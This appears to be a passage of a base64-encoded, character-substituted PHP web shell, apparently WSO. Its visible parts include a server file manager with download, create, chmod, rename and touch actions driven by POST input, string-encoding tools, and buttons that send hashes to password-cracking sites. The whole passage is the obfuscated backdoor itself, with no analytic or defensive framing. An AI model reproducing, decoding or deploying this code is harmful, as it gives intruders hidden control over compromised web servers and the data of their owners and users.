Y0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsgDQogICAgICAgICRnciA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkpOyANCiAgICAgICAgJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sIA0KICAgICAgICAgICAgICAgICAgICAgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sIA0KICAgICAgICAgICAgICAgICAgICAgJ20yZDRmeScgPT4gZDF0NSgnWS1tLWQgSDo0OnMnLCBAZjRsNW10NG01KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpLCANCiAgICAgICAgICAgICAgICAgICAgICdwNXJtcycgPT4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pLCANCiAgICAgICAgICAgICAgICAgICAgICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksIA0KICAgICAgICAgICAgICAgICAgICAgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksIA0KICAgICAgICAgICAgICAgICAgICAgJ2dyMjNwJyA9PiAkZ3JbJ24xbTUnXT8kZ3JbJ24xbTUnXTpAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkgDQogICAgICAgICAgICAgICAgICAgICk7IA0KICAgICAgICA0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKSANCiAgICAgICAgICAgICRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOyANCiAgICAgICAgNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpIA0KICAgICAgICAgICAgJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnbDRuaycsICdsNG5rJyA9PiByNTFkbDRuaygkdG1wWydwMXRoJ10pKSk7IA0KICAgICAgICA1bHM1NGYoQDRzX2Q0cigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pJiYgKCRkNHJDMm50NW50WyQ0XSAhPSAiLiIpKSANCiAgICAgICAgICAgICRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsgDQogICAgfSANCiAgICAkR0xPQkFMU1snczJydCddID0gJHMycnQ7IA0KICAgIGYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsgDQogICAgICAgIDRmKCRHTE9CQUxTWydzMnJ0J11bMF0gIT0gJ3M0ejUnKSANCiAgICAgICAgICAgIHI1dDNybiBzdHJjbXAoc3RydDJsMnc1cigkMVskR0xPQkFMU1snczJydCddWzBdXSksIHN0cnQybDJ3NXIoJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsgDQogICAgICAgIDVsczUNCiAgICAgICAgICAgIHI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7IA0KICAgIH0gDQogICAgM3MycnQoJGY0bDVzLCAid3MyQ21wIik7IA0KICAgIDNzMnJ0KCRkNHJzLCAid3MyQ21wIik7IA0KICAgICRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkZjRsNXMpOyANCiAgICAkbCA9IDA7IA0KICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7IA0KICAgICAgICA1Y2gyICc8dHInLigkbD8nIGNsMXNzPWw2JzonJykuJz48dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0iZltdIiB2MWwzNT0iJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJyIgY2wxc3M9Y2hrYng+PC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9IicuKCgkZlsndHlwNSddPT0nZjRsNScpPydnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndjQ1d1wnKSI+Jy5odG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pOidnKFwnRjRsNXNNMW5cJyxcJycuJGZbJ3AxdGgnXS4nXCcpOyIgdDR0bDU9JyAuICRmWydsNG5rJ10gLiAnPjxiPlsgJyAuIGh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSkgLiAnIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT93czJWNDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10gDQogICAgICAgICAgICAuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwvdGQ+PC90cj4nOyANCiAgICAgICAgJGwgPSAkbD8wOjY7IA0KICAgIH0gDQogICAgNWNoMiAiPHRyPjx0ZCBjMmxzcDFuPTc+IA0KICANCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+IA0KICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPiANCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4gDQogICAgPHM1bDVjdCBuMW01PSdwNic+PDJwdDQybiB2MWwzNT0nYzJweSc+QzJweTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J20ydjUnPk0ydjU8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdkNWw1dDUnPkQ1bDV0NTwvMnB0NDJuPiI7IA0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nejRwJz5DMm1wcjVzcyAoejRwKTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9JzNuejRwJz5VbmMybXByNXNzICh6NHApPC8ycHQ0Mm4+IjsgDQogICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ndDFyJz5DMm1wcjVzcyAodDFyLmd6KTwvMnB0NDJuPiI7IA0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ncDFzdDUnPlAxc3Q1IC8gQzJtcHI1c3M8LzJwdDQybj4iOyANCiAgICA1Y2gyICI8L3M1bDVjdD4mbmJzcDsiOyANCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSkpIA0KICAgICAgICA1Y2gyICJmNGw1IG4xbTU6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wYSB2MWwzNT0nd3MyXyIgLiBkMXQ1KCJZbWRfSDRzIikgLiAiLiIgLiAoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJz8nejRwJzondDFyLmd6JykgLiAiJz4mbmJzcDsiOyANCiAgICA1Y2gyICI8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT48L2Q0dj4iOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgeyANCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fSANCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0gDQogICAgJHN0cjRuZ1QyMmxzID0gMXJyMXkoIA0KICAgICAgICAnQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLCANCiAgICAgICAgJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywgDQogICAgICAgICdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywgDQogICAgICAgICdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywgDQogICAgICAgICdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywgDQogICAgICAgICdtZGkgaDFzaCcgPT4gJ21kaScsIA0KICAgICAgICAnc2gxNiBoMXNoJyA9PiAnc2gxNicsIA0KICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsIA0KICAgICAgICAnQ1JDb2EnID0+ICdjcmNvYScsIA0KICAgICAgICAnQVNDSUkgdDIgSEVYJyA9PiAnMXNjNDRhaDV4JywgDQogICAgICAgICdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLCANCiAgICAgICAgJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLCANCiAgICAgICAgJ0hFWCB0MiBCSU4nID0+ICdoNXhhYjRuJywgDQogICAgICAgICdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywgDQogICAgICAgICdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywgDQogICAgICAgICdCSU4gdDIgSEVYJyA9PiAnYjRuaDV4JywgDQogICAgICAgICdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywgDQogICAgICAgICdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLCANCiAgICAgICAgJ1N0cjRuZyB0MiAzcHA1ciBjMXM1JyA9PiAnc3RydDIzcHA1cicsIA0KICAgICAgICAnSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLCANCiAgICAgICAgJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLCANCiAgICApOyANCiAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsgDQogICAgICAgIDJiX3N0MXJ0KCk7IA0KICAgICAgICA0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpIA0KICAgICAgICAgICAgNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsgDQogICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS40bm41ckhUTUw9JyIuMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOyANCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsgDQogICAgICAgIDV4NHQ7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5TdHI0bmcgYzJudjVyczQybnM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOyANCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsgDQogICAgNWNoMiAiPGYycm0gbjFtNT0ndDIybHNGMnJtJyAyblMzYm00dD0nNGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fSByNXQzcm4gZjFsczU7Jz48czVsNWN0IG4xbTU9J3M1bDVjdFQyMmwnPiI7IA0KICAgIGYycjUxY2goJHN0cjRuZ1QyMmxzIDFzICRrID0+ICR2KSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOyANCiAgICAgICAgNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLiI+IHM1bmQgM3M0bmcgQUpBWDxicj48dDV4dDFyNTEgbjFtNT0nNG5wM3QnIHN0eWw1PSdtMXJnNG4tdDJwOmlweCcgY2wxc3M9YjRnMXI1MT4iLig1bXB0eSgkX1BPU1RbJ3A2J10pPycnOmh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsncGEnXSkpLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOyANCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7IA0KICAgIH0gDQogICAgNWNoMiI8L3ByNT48L2Q0dj48YnI+PGg2PlM1MXJjaCB0NXh0IDRuIGY0bDVzOjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PiANCiAgDQogICAgICAgIDxmMnJtIDJuczNibTR0PVwiZyhuM2xsLHRoNHMuY3dkLnYxbDM1LG4zbGwsdGg0cy50NXh0LnYxbDM1LHRoNHMuZjRsNW4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48dDFibDUgYzVsbHAxZGQ0bmc9JzYnIGM1bGxzcDFjNG5nPScwJyB3NGR0aD0naTAlJz4gDQogICAgICAgICAgICA8dHI+PHRkIHc0ZHRoPSc2JSc+VDV4dDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ndDV4dCcgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2N3ZCcgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPk4xbTU6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2Y0bDVuMW01JyB2MWwzNT0nKicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPiANCiAgICAgICAgICAgIDwvdDFibDU+PC9mMnJtPiI7IA0KICANCiAgICBmM25jdDQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7IA0KICAgICAgICA0ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpIA0KICAgICAgICAgICAgJHAxdGguPScvJzsgDQogICAgICAgICRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOyANCiAgICAgICAgNGYoNHNfMXJyMXkoJHAxdGhzKSYmQGMyM250KCRwMXRocykpIHsgDQogICAgICAgICAgICBmMnI1MWNoKCRwMXRocyAxcyAkNHQ1bSkgeyANCiAgICAgICAgICAgICAgICA0ZihANHNfZDRyKCQ0dDVtKSl7IA0KICAgICAgICAgICAgICAgICAgICA0ZigkcDF0aCE9JDR0NW0pIA0KICAgICAgICAgICAgICAgICAgICAgICAgd3MyUjVjM3JzNHY1R2wyYigkNHQ1bSk7IA0KICAgICAgICAgICAgICAgIH0gNWxzNSB7IA0KICAgICAgICAgICAgICAgICAgICA0ZihAc3RycDJzKEBmNGw1X2c1dF9jMm50NW50cygkNHQ1bSksIEAkX1BPU1RbJ3BhJ10pIT09ZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIixuM2xsLFwiIi4zcmw1bmMyZDUoJDR0NW0pLiJcIiwgXCJ2NDV3XCIpJz4iLmh0bWxzcDVjNDFsY2gxcnMoJDR0NW0pLiI8LzE+PGJyPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgNGYoQCRfUE9TVFsncG8nXSkgDQogICAgICAgIHdzMlI1YzNyczR2NUdsMmIoJF9QT1NUWydjJ10pOyANCiAgICA1Y2gyICI8L2Q0dj48YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4gDQogIA0KICAgICAgICA8ZjJybSBtNXRoMmQ9J3Ayc3QnIHQxcmc1dD0nX2JsMW5rJyBuMW01PSdoZic+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5oMXNoY3IxY2suYzJtLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J200bHcwcm0uYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lm00bHcwcm0uYzJtL2NyMWNrNXIvczUxcmNoLnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjazRuZy40bmYyJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwczovL2gxc2hjcjFjazRuZy40bmYyLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpZDVjcnlwdDVyLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tZGlkNWNyeXB0NXIuYzJtLyc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICA8L2Yycm0+PC9kNHY+IjsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5GNGw1c1QyMmxzKCkgeyANCiAgICA0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApIA0KICAgICAgICAkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsgDQogICAgNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgeyANCiAgICAgICAgNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsgDQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIuYjFzNW4xbTUoJF9QT1NUWydwNiddKSk7IA0KICAgICAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgeyANCiAgICAgICAgICAgICAgICAkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOyANCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogIiAuICR0eXA1KTsgDQogICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2g0bDUoIUBmNTJmKCRmcCkpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOyANCiAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9NXg0dDsgDQogICAgfSANCiAgICA0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsgDQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3cnKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gIjVkNHQiOyANCiAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5GNGw1IHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsgDQogICAgNGYoICFmNGw1XzV4NHN0cyhAJF9QT1NUWydwNiddKSApIHsgDQogICAgICAgIDVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7IA0KICAgICAgICB3czJGMjJ0NXIoKTsgDQogICAgICAgIHI1dDNybjsgDQogICAgfSANCiAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7IA0KICAgIDRmKCEkMzRkKSB7IA0KICAgICAgICAkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7IA0KICAgICAgICAkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7IA0KICAgIH0gNWxzNSAkZzRkID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKSk7IA0KICAgIDVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT93czJWNDV3UzR6NShmNGw1czR6NSgkX1BPU1RbJ3A2J10pKTonLScpLicgPHNwMW4+UDVybTRzczQybjo8L3NwMW4+ICcud3MyUDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsgDQogICAgNWNoMiAnPHNwMW4+Q3I1MXQ1IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5BY2M1c3MgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDUxdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPk0yZDRmeSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7IA0KICAgIDRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkgDQogICAgICAgICRfUE9TVFsncGEnXSA9ICd2NDV3JzsgDQogICAgNGYoIDRzX2Y0bDUoJF9QT1NUWydwNiddKSApIA0KICAgICAgICAkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdINXhkM21wJywgJ0VkNHQnLCAnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7IA0KICAgIDVsczUNCiAgICAgICAgJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7IA0KICAgIGYycjUxY2goJG0gMXMgJHYpIA0KICAgICAgICA1Y2gyICc8MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsbjNsbCxcJycuc3RydDJsMnc1cigkdikuJ1wnKSI+Jy4oKHN0cnQybDJ3NXIoJHYpPT1AJF9QT1NUWydwYSddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC8xPiAnOyANCiAgICA1Y2gyICc8YnI+PGJyPic7IA0KICAgIHN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsgDQogICAgICAgI